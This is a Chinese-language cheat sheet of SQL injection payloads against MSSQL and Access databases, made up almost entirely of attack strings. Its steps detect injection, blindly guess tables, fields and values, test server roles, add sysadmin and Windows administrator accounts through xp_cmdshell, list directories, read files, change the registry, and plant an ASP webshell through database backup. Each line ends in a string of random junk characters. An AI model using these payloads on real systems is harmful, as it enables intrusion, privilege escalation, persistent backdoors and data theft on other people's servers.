1.判断是否有注入;and 1=1 ;and 1=2 f2ygN6(>
2.初步判断是否是mssql ;and user>0 f4YcZyBGv
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3.注入参数是字符'and [查询条件] and ''=' [y-0w.V=oE
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' S&_Z,mT./
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5.判断数据库系统 "
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;and (select count(*) from sysobjects)>0 mssql xS?[v&"2
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;and (select count(*) from msysobjects)>0 access (7^5jo[D
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 1)yEx1
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 :tU&d(8
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 aNLRUdc.
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9.(1)猜字段的ascii值(access) l/0"'o_0v#
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 .RFijr
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(2)猜字段的ascii值(mssql) {`?C5<r
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 %EkV-%o*
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10.测试权限结构(mssql) Z-X(.Q
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- *W,tq(%tQ
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- g$bbm}6S
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ?#~3%$>
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- g(Q)fw
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Y3@\uM`2#
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- '-C%?*ku
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;and 1=(select IS_MEMBER('db_owner'));-- c1 aCN
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11.添加mssql和系统的帐户 tgmG#b*
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;exec master.dbo.sp_addlogin username;-- mHCp^g4Q
;exec master.dbo.sp_password null,username,password;-- (Z(O7X(/
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- BkywYCWZ )
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;exec master.dbo.xp_cmdshell 'net user username password t8SvU
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- r\nKJdh;ka
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- UQ]WBS\
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- -Pds7}F8
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12.(1)遍历目录 @c3GJ'"X
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;create table dirs(paths varchar(100), id int) <X@XbM
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;insert dirs exec master.dbo.xp_dirtree 'c:\' uu0"k<Tp
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;and (select top 1 paths from dirs)>0 NQBa+N
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) JF{yhx,+p
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(2)遍历目录 D*7JE
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- Y:o\qr!Y
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 %DyukUJ
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 JH3$G,:zM
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Vyy;mEBg
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ,q9nHZG^
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13.mssql中的存储过程 Vo1,{"k
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xp_regenumvalues 注册表根键, 子键 )w.+( v(
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 M1nH!A~o
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xp_regread 根键,子键,键值名 "&$ [@c
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;exec xp_regread hA?Flq2QV
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 p2m@0ou
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xp_regwrite 根键,子键, 值名, 值类型, 值 6yn34'yw
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 F7f psAt7
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 U%.%:'eV=
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xp_regdeletevalue 根键,子键,值名 4KbOyTQ
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 @*Y"[\ "$
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 j 3/ I=
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14.mssql的backup创建webshell +qPpPjG;
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use model E&;[E
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create table cmd(str image); Bqcih$`BVU
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insert into cmd(str) values (''); a:q>7V|%$
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backup database model to disk='c:\l.asp'; 4n9".UHh
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15.mssql内置函数 st_.~m!/
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;and (select @@version)>0 获得Windows的版本号 A{Kc"s4fO
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa RZY[DoF8u
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;and (select user_name())>0 爆当前系统的连接用户 {th=MldJ?
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;and (select db_name())>0 得到当前连接的数据库 Q1 t-Z;X
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16.简洁的webshell I ~U1vtgp
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use model 9V'ok.B.x
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create table cmd(str image); B|f
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insert into cmd(str) values (''); B5A/Iv)2
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backup database model to disk='g:\wwwtest\l.asp';